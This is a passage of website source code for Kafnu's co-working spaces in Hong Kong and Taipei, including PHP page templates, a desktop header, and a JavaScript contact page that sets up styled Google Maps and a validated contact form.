的城市旅行,都將有機會與能啟發靈感與創意的優秀Kafnu 會員雙向交流。</p> <!-- <ul class="social-media-links-container"> <li data-wow-offset="150" class="wow slideInUp"><a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a></li> <li data-wow-offset="200" class="wow slideInUp"><a href="https://www.youtube.com/channel/UCtPQ3Tmfzyenxt882Cehb-w"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li> <li data-wow-offset="250" class="wow slideInUp"><a href="https://www.facebook.com/kafnuhk/"><i class="fa fa-facebook" aria-hidden="true"></i></a></li> </ul> --> </div> </div> </div> </article> <article id="page-default-social-media-masonry-section"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-md-12 no-padding"> <div id="default-masonry-grid-container" class="hidden-xs hidden-sm"> <div class="grid"> <div class="grid-sizer"></div> <div data-wow-offset="50" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/videos/1943871022519532/" target="_blank" class="social-media-source-tag" target="_blank"> <div class="manic-image-container video-version"> <img src="" data-image-desktop="images_cms/home/fb-video-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="55" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook color-version"> <div class="grid-item-text-container"> <h5>Bill - Company of Dreamers</h5> <p class="minimize-text" data-length="-1" data-tablet-length="35" data-mobile-length="60">Bill Black, ex-hotelier and Director at Next Story Group, discusses what sets Kafnu apart as a...</p> </div> </a> </div> <div data-wow-offset="60" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="65" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="70" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="75" class="grid-item wow fadeInUp"> <a href="https://www.youtube.com/watch?v=Wx-O38D0WuA" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="80" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="85" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="90" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="95" class="grid-item wow fadeInUp"> <a href="https://www.youtube.com/watch?v=FiVGdSg_pDk" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="100" class="grid-item grid-item--width2 grid-item--height2 wow fadeInUp"> <a href="http://www.webintravel.com/next-story-reimagines-urban-spaces-kafnu-vertical-village/" target="_blank" class="social-media-source-tag news color-version"> <div class="grid-item-text-container"> <h5 class="minimize-text" data-length="-1" data-tablet-length="50" data-tablet-length="10">Next Story reimagines urban spaces with Kafnu, the vertical village</h5> <p class="minimize-text" data-length="-1" data-tablet-length="80" data-tablet-length="10">Next Story Group, formerly Silver Needle Hospitality, will be launching two spaces in Taipei and Hong Kong under a new brand, Kafnu, by year end.</p> <p class="minimize-text" data-length="-1" data-tablet-length="0" data-tablet-length="10">Seeking to reimagine urban spaces through technology and story, the company says the new spaces will synthesise “the best aspects of co-working, co-living, hotel, retail and private club”.</p> </div> </a> </div> <div data-wow-offset="105" class="grid-item wow fadeInUp"> <a href="https://www.youtube.com/watch?v=Q1EgmSBFql0" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="110" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="115" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-05.jpg" alt=""> </div> </a> </div> <div data-wow-offset="120" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="125" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-05.jpg" alt=""> </div> </a> </div> <div data-wow-offset="130" class="grid-item grid-item--width2 wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook color-version"> <div class="grid-item-text-container"> <h5 class="minimize-text" data-length="-1" data-tablet-length="50" data-tablet-length="10">Anyone curious about the space and its design for Kafnu Hong Kong?</h5> <p class="minimize-text" data-length="-1" data-tablet-length="80" data-tablet-length="10">Each space is inline with our brand's innovative spirit and local elements. The most special element</p> </div> </a> </div> <div data-wow-offset="135" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-06.jpg" alt=""> </div> </a> </div> <div data-wow-offset="140" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-06.jpg" alt=""> </div> </a> </div> <div data-wow-offset="145" class="grid-item wow fadeInUp"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-07.jpg" alt=""> </div> </a> </div> </div> <!-- grid --> </div> <!-- home-masonry-grid-container --> <div id="default-grid-container-mobile" class="visible-xs visible-sm"> <div class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container video-version"> <img src="" data-image-desktop="images_cms/home/fb-video-thumb-01.jpg" data-image-tablet="images_cms/home/fb-video-thumb-01.jpg" data-image-mobile="images_cms/home/fb-video-thumb-01.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook color-version"> <div class="grid-item-text-container"> <h5>Bill - Company of Dreamers</h5> <p>Bill Black, ex-hotelier and Director at Next Story Group...</p> </div> </a> </div> <div class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" data-image-tablet="images_cms/home/in-image-thumb-02.jpg" data-image-mobile="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" data-image-tablet="images_cms/home/in-image-thumb-03.jpg" data-image-mobile="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> </div> </div> </div> <!-- row --> </div> </article> <!-- page-home-social-media-masonry-section --> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_home.php" ?> </body> </html> <?php // saving captured output to file file_put_contents('index.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>``` Contact.js ```goog.provide('kafnu.page.Contact'); goog.require('goog.events.Event'); goog.require('goog.events.EventTarget'); goog.require('manic.ui.HoverItem'); goog.require('manic.ui.AnimatedSVG'); goog.require('manic.ui.FormCheck'); goog.require('kafnu.page.Default') /** * The Home constructor * @inheritDoc * @constructor * @extends {kafnu.page.Default} */ kafnu.page.Contact = function(options, element) { kafnu.page.Default.call(this, options, element); this.options = $.extend(this.options, kafnu.page.Contact.DEFAULT, options); // console.log('kafnu.page.Contact: init'); }; goog.inherits(kafnu.page.Contact, kafnu.page.Default); /** * like jQuery options * @const {object} */ kafnu.page.Contact.DEFAULT = { }; /** * Home Event Constant * @const * @type {string} */ kafnu.page.Contact.EVENT_01 = ''; // ___ _ _ ___ _____ // |_ _| \ | |_ _|_ _| // | || \| || | | | // | || |\ || | | | // |___|_| \_|___| |_| // /** * @override * @inheritDoc */ kafnu.page.Contact.prototype.init = function() { kafnu.page.Contact.superClass_.init.call(this); // this.is_home_box_items_container_mobile_open = true; // this.home_box_items_container_mobile_toggle = $('#home-box-items-container-mobile-toggle'); // this.home_box_items_container_mobile = $('#home-box-items-container-mobile'); // this.create_community_slider(); // this.create_community_slider_mobile(); // this.create_community_member_slider(); // // this.create_social_media_masonry(); this.map_style = [ { "featureType": "water", "elementType": "geometry", "stylers": [ { "color": "#e9e9e9" }, { "lightness": 17 } ] }, { "featureType": "landscape", "elementType": "geometry", "stylers": [ { "color": "#f5f5f5" }, { "lightness": 20 } ] }, { "featureType": "road.highway", "elementType": "geometry.fill", "stylers": [ { "color": "#ffffff" }, { "lightness": 17 } ] }, { "featureType": "road.highway", "elementType": "geometry.stroke", "stylers": [ { "color": "#ffffff" }, { "lightness": 29 }, { "weight": 0.2 } ] }, { "featureType": "road.arterial", "elementType": "geometry", "stylers": [ { "color": "#ffffff" }, { "lightness": 18 } ] }, { "featureType": "road.local", "elementType": "geometry", "stylers": [ { "color": "#ffffff" }, { "lightness": 16 } ] }, { "featureType": "poi", "elementType": "geometry", "stylers": [ { "color": "#f5f5f5" }, { "lightness": 21 } ] }, { "featureType": "poi.park", "elementType": "geometry", "stylers": [ { "color": "#dedede" }, { "lightness": 21 } ] }, { "elementType": "labels.text.stroke", "stylers": [ { "visibility": "on" }, { "color": "#ffffff" }, { "lightness": 16 } ] }, { "elementType": "labels.text.fill", "stylers": [ { "saturation": 36 }, { "color": "#333333" }, { "lightness": 40 } ] }, { "elementType": "labels.icon", "stylers": [ { "visibility": "off" } ] }, { "featureType": "transit", "elementType": "geometry", "stylers": [ { "color": "#f2f2f2" }, { "lightness": 19 } ] }, { "featureType": "administrative", "elementType": "geometry.fill", "stylers": [ { "color": "#fefefe" }, { "lightness": 20 } ] }, { "featureType": "administrative", "elementType": "geometry.stroke", "stylers": [ { "color": "#fefefe" }, { "lightness": 17 }, { "weight": 1.2 } ] } ]; this.hong_kong_map; this.taipei_map; this.create_google_map(); this.create_google_map_mobile(); this.create_contact_form(); // this.home_box_items_container_mobile_toggle.click(this.create_dropdown_toggle_mobile.bind(this)); }; // ____ ____ _____ ___ _____ _____ // | _ \| _ \|_ _\ \ / / \|_ _| ____| // | |_) | |_) || | \ \ / / _ \ | | | _| // | __/| _ < | | \ V / ___ \| | | |___ // |_| |_| \_\___| \_/_/ \_\_| |_____| // kafnu.page.Contact.prototype.create_google_map = function() { this.hong_kong_position = {lat: 22.3014444, lng: 114.1888333}; this.icon = { url: "http://clients.manic.com.sg/kafnu/html/kafnu_assets/images/icons/map-pin.svg", // url scaledSize: new google.maps.Size(46, 46), // scaled size origin: new google.maps.Point(0,0), // origin anchor: new google.maps.Point(0, 0) // anchor }; this.hong_kong_map = new google.maps.Map(document.getElementById('hong-kong-map'), { center: this.hong_kong_position, zoom: 18, styles: this.map_style, disableDefaultUI: true }); this.hong_kong_marker = new google.maps.Marker({ map: this.hong_kong_map, position: this.hong_kong_position, icon: this.icon }); this.taipei_position = {lat: 25.0579722, lng: 121.5445278}; this.taipei_map = new google.maps.Map(document.getElementById('taipei-map'), { center: this.taipei_position, zoom: 18, styles: this.map_style, disableDefaultUI: true }); this.taipei_marker = new google.maps.Marker({ map: this.taipei_map, position: this.taipei_position, icon: this.icon }); }; kafnu.page.Contact.prototype.create_google_map_mobile = function() { this.hong_kong_position_mobile = {lat: 22.3014444, lng: 114.1888333}; this.icon = { url: "http://clients.manic.com.sg/kafnu/html/kafnu_assets/images/icons/map-pin.svg", // url scaledSize: new google.maps.Size(46, 46), // scaled size origin: new google.maps.Point(0,0), // origin anchor: new google.maps.Point(0, 0) // anchor }; this.hong_kong_map_mobile = new google.maps.Map(document.getElementById('hong-kong-map-mobile'), { center: this.hong_kong_position_mobile, zoom: 18, styles: this.map_style, disableDefaultUI: true }); this.hong_kong_marker_mobile = new google.maps.Marker({ map: this.hong_kong_map_mobile, position: this.hong_kong_position_mobile, icon: this.icon }); this.taipei_position_mobile = {lat: 25.0579722, lng: 121.5445278}; this.taipei_map_mobile = new google.maps.Map(document.getElementById('taipei-map-mobile'), { center: this.taipei_position_mobile, zoom: 18, styles: this.map_style, disableDefaultUI: true }); this.taipei_marker = new google.maps.Marker({ map: this.taipei_map_mobile, position: this.taipei_position_mobile, icon: this.icon }); }; kafnu.page.Contact.prototype.create_contact_form = function() { // console.log("validate") $("#contact-form").submit(function(e) { e.preventDefault(); }).validate({ rules : { first_name : "required", last_name : "required", email : { required: true, email: true }, message : "required" }, submitHandler: function(form) { $.ajax({ type: "POST", url: "/php/contact.php", data: $(form).serialize(), timeout: 3000, complete: function() { $('#contact-form').find(".message").html("<h5>Your message has been sent successfully.</h5>") }, success: function() { // console.log('here'); $('#contact-form').find(".message").html("<h5>Your message has been sent successfully.</h5>") }, error: function() { // console.log('failed'); } }); return false; } }); }; // ____ _ _ ____ _ ___ ____ // | _ \| | | | __ )| | |_ _/ ___| // | |_) | | | | _ \| | | | | // | __/| |_| | |_) | |___ | | |___ // |_| \___/|____/|_____|___\____| // // _______ _______ _ _ _____ ____ // | ____\ \ / / ____| \ | |_ _/ ___| // | _| \ \ / /| _| | \| | | | \___ \ // | |___ \ V / | |___| |\ | | | ___) | // |_____| \_/ |_____|_| \_| |_| |____/ // /** * @param {object} event */ kafnu.page.Contact.prototype.on_tab_icons_click = function(event) { event.preventDefault(); var icon = $(event.currentTarget); $('.active-icon').removeClass("active-icon"); icon.addClass("active-icon"); var current_tab = icon.attr("href"); current_tab = current_tab.substring(1); // console.log(current_tab) $('.active-tab').removeClass('active-tab'); $('.'+current_tab+'-tab').addClass('active-tab'); this.update_manic_image_containers(); }; kafnu.page.Contact.prototype.show_hide_tab_content = function(event) { }; kafnu.page.Contact.prototype.sample_method_calls = function() { // sample override kafnu.page.Contact.superClass_.method_02.call(this); // sample event this.dispatchEvent(new goog.events.Event(kafnu.page.Contact.EVENT_01)); }; // _ _ __ _____ _ _ _____ // | | / \\ \ / / _ \| | | |_ _| // | | / _ \\ V / | | | | | | | | // | |___ / ___ \| || |_| | |_| | | | // |_____/_/ \_\_| \___/ \___/ |_| // /** * @override * @inheritDoc */ kafnu.page.Contact.prototype.update_page_layout = function() { kafnu.page.Contact.superClass_.update_page_layout.call(this); /* if (manic.IS_MOBILE == true){ this.banner_image.css({ 'height': this.window_height + 'px' }); } else { this.banner_image.css({ 'height': '' }); } */ } // _ _ _ ____ _ _ _____ _ ____ ____ // | | | | / \ / ___|| | | |_ _|/ \ / ___/ ___| // | |_| | / _ \ \___ \| |_| | | | / _ \| | _\___ \ // | _ |/ ___ \ ___) | _ | | |/ ___ \ |_| |___) | // |_| |_/_/ \_\____/|_| |_| |_/_/ \_\____|____/ // /** * @override * @inheritDoc */ kafnu.page.Contact.prototype.scroll_to_target = function(str_param, str_param_2, str_param_3) { kafnu.page.Contact.superClass_.scroll_to_target.call(this, str_param, str_param_2, str_param_3); } /** * @override * @inheritDoc */ kafnu.page.Contact.prototype.on_scroll_to_no_target = function() { kafnu.page.Contact.superClass_.on_scroll_to_no_target.call(this); } goog.exportSymbol('kafnu.page.Contact', kafnu.page.Contact);``` header_desktop.php ```<?php global $current_page; ?> <!-- ____ _____ ____ _ _______ ___ ____ _ _ _____ _ ____ _____ ____ | _ \| ____/ ___|| |/ /_ _/ _ \| _ \ | | | | ____| / \ | _ \| ____| _ \ | | | | _| \___ \| ' / | || | | | |_) | | |_| | _| / _ \ | | | | _| | |_) | | |_| | |___ ___) | . \ | || |_| | __/ | _ | |___ / ___ \| |_| | |___| _ < |____/|_____|____/|_|\_\ |_| \___/|_| |_| |_|_____/_/ \_\____/|_____|_| \_\ --> <header id="header-desktop" class="visible-lg hidden-md hidden-sm hidden-xs"> <div class="white-bg"></div> <div id="header-desktop-content-container"> <div id="header-desktop-logo-container"> <a id="header-desktop-logo" href="index.html" title="Kafnu"></a> </div> <!-- __ __ _____ _ _ _ _ | \/ | ____| \ | | | | | | |\/| | _| | \| | | | | | | | | |___| |\ | |_| | |_| |_|_____|_| \_|\___/ --> <div id="header-desktop-menu"> <nav> <ul> <li><a href="live.html" data-page="page-live">Live</a></li> <li><a href="work.html" data-page="page-work">Work</a></li> <li><a href="play.html" data-page="page-play">Play</a></li> <li><a href="learn.html" data-page="page-learn">Learn</a></li> <li><a href="rest.html" data-page="page-rest">Rest</a></li> </ul> </nav> </div> <!-- header-desktop-menu --> <!-- __ ____ ___________ __ / / / __ \/ ____/ _/ | / / / / / / / / / __ / // |/ / / /___/ /_/ / /_/ // // /| / /_____/\____/\____/___/_/ |_/ --> <div id="header-desktop-contact-login-container"> <ul> <li><a href="contact.html">Contact</a></li> <li><a href="https://hongkong.kafnu.com/Login" target="_blank">Login</a></li> </ul> </div> <!-- header-desktop-contact-login-container --> <div id="header-desktop-language-container"> <ul> <li><a href="/index.html" class="selected">EN</a></li> <li><a href="tc/index.html">中文</a></li> </ul> </div> <!-- header-desktop-contact-login-container --> </div> </header> <!-- header-desktop --> ``` index-old.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-home"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section" class=""> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/home-banner.jpg"> </div> </div> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container has-window-height"> <img src="" data-image-tablet="images_cms/home/home-banner.jpg" data-image-mobile="images_cms/home/home-banner.jpg"> </div> </div> <!-- <div id="page-default-banner-video"> --> <!-- <video playsinline autoplay muted loop poster="images_cms/home/home-banner.jpg" id="page-default-banner-bgvid"> <source src="videos_cms/home/home-banner-bg-vid.mp4" type="video/mp4"> </video> --> <!-- </div> --> <div id="page-default-banner-copy-container" class="left-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-6"> <div id="page-default-banner-copy"> <h1>The Ecosystem for Entrepreneurs <br class="hidden-xs hidden-sm"> & Creative Minds</h1> <h3>Community / Spaces / Launch Pad</h3> <!-- <h5></h5> --> <a href="kafnuhk.html" class="square-cta border-version">Kafnu Hong Kong opens 3rd October, learn more</a> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> <article id="page-home-boxes-section"> <div class="container-fluid reduce-padding"> <div class="row"> <div data-wow-offset="50" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item"> <h4>Live</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_LIVE.jpg" data-image-tablet="images_cms/home/Home_LIVE.jpg" data-image-mobile="images_cms/home/live-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_LIVE_Black.jpg" data-image-tablet="images_cms/home/Home_LIVE_Black.jpg" data-image-mobile="images_cms/home/Home_LIVE_Black.jpg" alt=""> </div> <div class="overlay-content live"> <div class="text-container"> <p>As our lives become more hectic, living well is about efficiency and balance. Kafnu empowers its members with spaces and community providing a physical, intellectual and social launch pad.</p> </div> <div class="cta-container"> <a href="live.html" class="plus-icon"></a> </div> </div> </div> </div> <div data-wow-offset="100" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item"> <h4>Work</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_WORK.jpg" data-image-tablet="images_cms/home/Home_WORK.jpg" data-image-mobile="images_cms/home/work-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_WORK_Black.jpg" data-image-tablet="images_cms/home/Home_WORK_Black.jpg" data-image-mobile="images_cms/home/Home_WORK_Black.jpg" alt=""> </div> <div class="overlay-content work"> <div class="text-container"> <p>Co-Working is everywhere. At Kafnu, we do take it a step further.</p> </div> <div class="cta-container"> <a href="work.html" class="plus-icon"></a> </div> </div> </div> </div> <div data-wow-offset="150" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item"> <h4>Play</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_PLAY.jpg" data-image-tablet="images_cms/home/Home_PLAY.jpg" data-image-mobile="images_cms/home/play-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_PLAY_Black.jpg" data-image-tablet="images_cms/home/Home_PLAY_Black.jpg" data-image-mobile="images_cms/home/Home_PLAY_Black.jpg" alt=""> </div> <div class="overlay-content play"> <div class="text-container"> <p>Playing is the key to creativity. Kafnu encourages you to do it. Unplug. Relax. Set down the phone. Swim. Run. Sing. Paint. Break something.</p> </div> <div class="cta-container"> <a href="play.html" class="plus-icon"></a> </div> </div> </div> </div> </div> <!-- row --> <div class="row"> <div data-wow-offset="50" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item"> <h4>Learn</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_LEARN.jpg" data-image-tablet="images_cms/home/Home_LEARN.jpg" data-image-mobile="images_cms/home/learn-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_LEARN_Black.jpg" data-image-tablet="images_cms/home/Home_LEARN_Black.jpg" data-image-mobile="images_cms/home/Home_LEARN_Black.jpg" alt=""> </div> <div class="overlay-content learn"> <div class="text-container"> <p>At Kafnu, learning never stops. From events to spontaneous conversations to unexpected insights to eye-opening inspiration – learning is our constant.</p> </div> <div class="cta-container"> <a href="learn.html" class="plus-icon"></a> </div> </div> </div> </div> <div data-wow-offset="100" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item"> <h4>Rest</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_REST.jpg" data-image-tablet="images_cms/home/Home_REST.jpg" data-image-mobile="images_cms/home/rest-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_REST_Black.jpg" data-image-tablet="images_cms/home/Home_REST_Black.jpg" data-image-mobile="images_cms/home/Home_REST_Black.jpg" alt=""> </div> <div class="overlay-content rest"> <div class="text-container"> <p>Our spaces let you unwind. From crash pods to lounge chairs to hidden corners to nap or gaze at the skyline, you’ll find it here.</p> </div> <div class="cta-container"> <a href="rest.html" class="plus-icon"></a> </div> </div> </div> </div> <div data-wow-offset="150" class="col-md-4 no-padding wow slideInUp"> <div class="home-box-item last-version"> <h4>Our <br class="visible-xs visible-sm"> Community</h4> <div class="manic-image-container color-version"> <img src="" data-image-desktop="images_cms/home/Home_COMMUNITY.jpg" data-image-tablet="images_cms/home/Home_COMMUNITY.jpg" data-image-mobile="images_cms/home/our-community-mobile.jpg" alt=""> </div> <div class="manic-image-container white-version"> <img src="" data-image-desktop="images_cms/home/Home_COMMUNITY_Black.jpg" data-image-tablet="images_cms/home/Home_COMMUNITY_Black.jpg" data-image-mobile="images_cms/home/Home_COMMUNITY_Black.jpg" alt=""> </div> <div class="overlay-content community"> <div class="text-container"> <p>We’re united by our mission to challenge the ordinary. Whether you’re a coder, chef, accountant, designer, acrobat, hustler, or still figuring it out – you’re invited to Kafnu.</p> </div> <div class="cta-container"> <a href="community.html" class="plus-icon"></a> </div> </div> </div> </div> </div> <!-- row --> <div class="row"> <div data-wow-offset="50" class="col-md-8 no-padding wow fadeInUp"> <div class="scroll-target" data-value="location"></div> <div id="home-box-slider" class="kafnu-slick-slider"> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_HK_Location1.jpg" data-image-tablet="images_cms/home/Home_HK_Location1.jpg" data-image-mobile="images_cms/home/Home_HK_Location1.jpg" alt=""> </div> </div> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_HK_Location2.jpg" data-image-tablet="images_cms/home/Home_HK_Location2.jpg" data-image-mobile="images_cms/home/Home_HK_Location2.jpg" alt=""> </div> </div> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_HK_Location3.jpg" data-image-tablet="images_cms/home/Home_HK_Location3.jpg" data-image-mobile="images_cms/home/Home_HK_Location3.jpg" alt=""> </div> </div> </div> </div> <div data-wow-offset="100" class="col-md-4 no-padding wow fadeInUp"> <div class="home-box-item text-version color-version"> <div class="text-container"> <h2>Kafnu <br class="visible-xs visible-sm"> Hong Kong</h2> <p><b>A vibrant community on Victoria Harbour in the heart of Hung Hom</b></p> </div> <div class="cta-container"> <a href="kafnuhk.html" class="plus-icon"></a> </div> </div> </div> </div> <!-- row --> <div class="row"> <div data-wow-offset="50" class="col-md-8 no-padding wow fadeInUp"> <div id="home-box-slider-02" class="kafnu-slick-slider"> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_TP_Location1.jpg" data-image-tablet="images_cms/home/Home_TP_Location1.jpg" data-image-mobile="images_cms/home/Home_TP_Location1.jpg" alt=""> </div> </div> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_TP_Location2.jpg" data-image-tablet="images_cms/home/Home_TP_Location2.jpg" data-image-mobile="images_cms/home/Home_TP_Location2.jpg" alt=""> </div> </div> <div class="home-box-slider-item"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/Home_TP_Location3.jpg" data-image-tablet="images_cms/home/Home_TP_Location3.jpg" data-image-mobile="images_cms/home/Home_TP_Location3.jpg" alt=""> </div> </div> </div> </div> <div data-wow-offset="100" class="col-md-4 no-padding wow fadeInUp"> <div class="home-box-item text-version"> <div class="text-container"> <h2>Kafnu <br class="visible-xs visible-sm"> Taipei</h2> <p><b>Opening soon. A vertical village at the crossroads of tech, media & design.</b></p> </div> <div class="cta-container"> <a href="kafnutp.html" class="plus-icon"></a> </div> </div> </div> </div> <!-- row --> </div> </article> <!-- page-home-whatwedo-section --> <article id="page-default-connect-with-world-section"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <h4 data-wow-offset="50" class="wow fadeInUp">Kafnu: A Physical, Intellectual, & Social Launch Pad</h4> <p data-wow-offset="100" class="wow fadeInUp">Our community is a network of creative talent, technologists, designers, and artists from across the world. Kafnu membership is open to anyone challenging the ordinary. Whether you’re at your home location or travelling to a Kafnu abroad, you can meet other inspiring and creative individuals.</p> <!-- <ul class="social-media-links-container"> <li data-wow-offset="150" class="wow slideInUp"><a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a></li> <li data-wow-offset="200" class="wow slideInUp"><a href="https://www.youtube.com/channel/UCtPQ3Tmfzyenxt882Cehb-w"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li> <li data-wow-offset="250" class="wow slideInUp"><a href="https://www.facebook.com/kafnuhk/"><i class="fa fa-facebook" aria-hidden="true"></i></a></li> </ul> --> </div> </div> </div> </article> <article id="page-default-social-media-masonry-section"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-md-12 no-padding"> <div id="default-masonry-grid-container" class="hidden-xs hidden-sm"> <div class="grid"> <div class="grid-sizer"></div> <div data-wow-offset="50" 